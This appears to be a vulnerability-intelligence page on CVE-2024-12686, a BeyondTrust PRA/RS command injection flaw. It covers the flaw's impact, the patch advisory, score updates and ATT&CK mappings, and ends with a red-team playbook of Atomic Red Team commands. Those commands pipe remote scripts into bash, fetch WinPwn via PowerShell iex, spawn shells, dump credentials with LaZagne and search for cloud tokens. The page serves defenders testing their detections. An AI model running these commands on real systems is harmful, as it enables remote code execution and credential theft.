CVE-2024-12686
Overview
This vulnerability is a command injection flaw rooted in insufficient input validation within BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) components. The flaw allows an attacker possessing administrative privileges to inject arbitrary commands into the system execution context. The affected feature is the command execution functionality accessible to site users, where input sanitization fails to properly restrict command parameters, enabling injection.
Vulnerability Description
A vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) which can allow an attacker with existing administrative privileges to inject commands and run as a site user.
Impact
An attacker with existing administrative privileges can leverage this vulnerability to execute arbitrary commands as a site user, potentially escalating privileges or executing unauthorized actions within the environment. This enables lateral movement or full system compromise depending on the privileges of the site user context. The prerequisite is possession of administrative access to the BeyondTrust PRA or RS management interface. Successful exploitation can result in unauthorized control over critical system components and sensitive data exposure.
Solution
BeyondTrust has issued a security advisory BT24-11 addressing this vulnerability in Privileged Remote Access and Remote Support products. Administrators should apply the patches provided in the advisory immediately. Detailed patching instructions and version updates are available at https://www.beyondtrust.com/trust-center/security-advisories/bt24-11. No specific workarounds are indicated; applying the vendor-supplied updates is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in Privileged Remote Access (PRA) and Remote Support (RS) solutions, which allows an attacker with existing administrative privileges to inject commands and execute them as a site user. This flaw arises from improper validation of user inputs, enabling malicious actors to manipulate command execution flows. The lack of stringent controls on command injection creates a pathway for attackers to escalate their privileges further or execute arbitrary commands within the context of the application, potentially leading to unauthorized access to sensitive data or system configurations.
Attack vectors for this vulnerability primarily involve social engineering or insider threats, where an attacker with administrative access can leverage their privileges to inject malicious commands. For instance, an administrator who has been compromised or is acting maliciously could exploit this vulnerability to execute commands that could alter configurations, exfiltrate data, or disrupt services. Additionally, if an attacker gains access to an administrative account through phishing or credential theft, they could utilize this vulnerability to escalate their control over the system, posing a significant risk to the integrity and availability of the affected systems.
The real-world impact of this vulnerability can be substantial for organizations that rely on these remote access solutions. The potential for unauthorized command execution means that sensitive information could be exposed or manipulated, leading to data breaches or compliance violations. Furthermore, the ability to disrupt services can result in significant downtime, affecting business operations and customer trust. The financial implications of such incidents can be severe, including costs associated with incident response, legal liabilities, and reputational damage. Organizations must recognize that the risk extends beyond immediate technical concerns; it encompasses broader business risks that can affect their market position and stakeholder confidence.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular audits of administrative access rights are essential to ensure that only authorized personnel have access to critical systems. Employing intrusion detection systems (IDS) can help identify unusual command execution patterns that may indicate exploitation attempts. Additionally, organizations should enforce strict input validation and sanitization practices within their applications to prevent command injection vulnerabilities. Regular software updates and patches from the vendor should be applied promptly to address known vulnerabilities and enhance overall security posture.
In conclusion, the vulnerability present in Privileged Remote Access and Remote Support solutions poses significant risks to organizations that utilize these tools for remote management and support. The potential for command injection by an attacker with administrative privileges highlights the need for robust security measures and vigilant monitoring. By adopting comprehensive detection and mitigation strategies, organizations can better protect themselves against exploitation attempts and safeguard their critical assets from unauthorized access and manipulation.
Recent updates to CVE-2024-12686 reflect a downward revision of its CVSS score from 7.2 to 6.6, accompanied by a modest decrease in the Exploit Prediction Scoring System (EPSS) value. This adjustment indicates a slightly reduced likelihood of exploitation in the near term, as corroborated by CSURFACE threat intelligence, which notes a subtle decline in exploit probability and no emergence of new proof-of-concept exploits. The inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog underscores its ongoing relevance, yet the absence of confirmed ransomware usage or significant exploitation trends suggests a stabilization rather than escalation in threat activity. For defenders, this nuanced change signals a maintained but moderated risk posture; while the vulnerability remains exploitable by actors with administrative access, the current threat landscape does not reflect increased adversary momentum. Consequently, the overall threat level is adjusted to medium with a tempered urgency, emphasizing continued vigilance without indication of imminent widespread exploitation.
Update 2 — June 13, 2026
The CVSS score adjustment from 6.6 to 7.2 for CVE-2024-12686 reflects a reassessment of the vulnerability’s potential impact, underscoring its higher exploitability and severity than initially estimated. This recalibration aligns with its inclusion in the KEV catalog, signaling increased recognition of its risk within the security community. Although CSURFACE threat intelligence and our telemetry continue to show no emergence of new exploit techniques or ransomware involvement, the elevated score emphasizes that adversaries with administrative access could leverage this flaw more effectively to execute unauthorized commands as site users. This shift necessitates heightened attention from defenders, as the vulnerability’s exploitation could facilitate lateral movement or privilege abuse in compromised environments. Consequently, the threat level is revised upward to high, reflecting a more urgent need for monitoring and control despite the current absence of widespread exploitation. The stable EPSS score corroborates a steady, persistent risk rather than an accelerating threat, reinforcing the importance of sustained vigilance in environments deploying BeyondTrust Remote Support and Privileged Remote Access solutions.
Update 3 — August 14, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-12686, indicating increased adversary interest or testing within affected environments. Although the overall Exploit Prediction Scoring System (EPSS) score remains relatively stable with a slight downward adjustment, the surge in telemetry suggests that threat actors with administrative access are more actively probing or attempting command injection via BeyondTrust Remote Support and Privileged Remote Access platforms. This development is significant because it underscores a growing operational focus on exploiting this vulnerability to escalate privileges or move laterally within networks. The absence of new exploit code or ransomware linkage at this stage does not diminish the urgency, as the increased probing activity may precede more sophisticated exploitation attempts. Consequently, the risk posture for organizations using these products should be considered elevated, reflecting a heightened likelihood of targeted exploitation attempts that could facilitate unauthorized command execution and privilege abuse.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Beyondtrust | Privileged Remote Access | All |
cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
|
|
|
Beyondtrust | Remote Support | All |
cpe:2.3:a:beyondtrust:remote_support:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
44%
|
High | High | |
| CAPEC-6 | Argument Injection |
43%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12686 |
| beyondtrust.com |
GitHub CVE
|
https://www.beyondtrust.com/trust-center/security-advisories/bt24-11 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-12686 |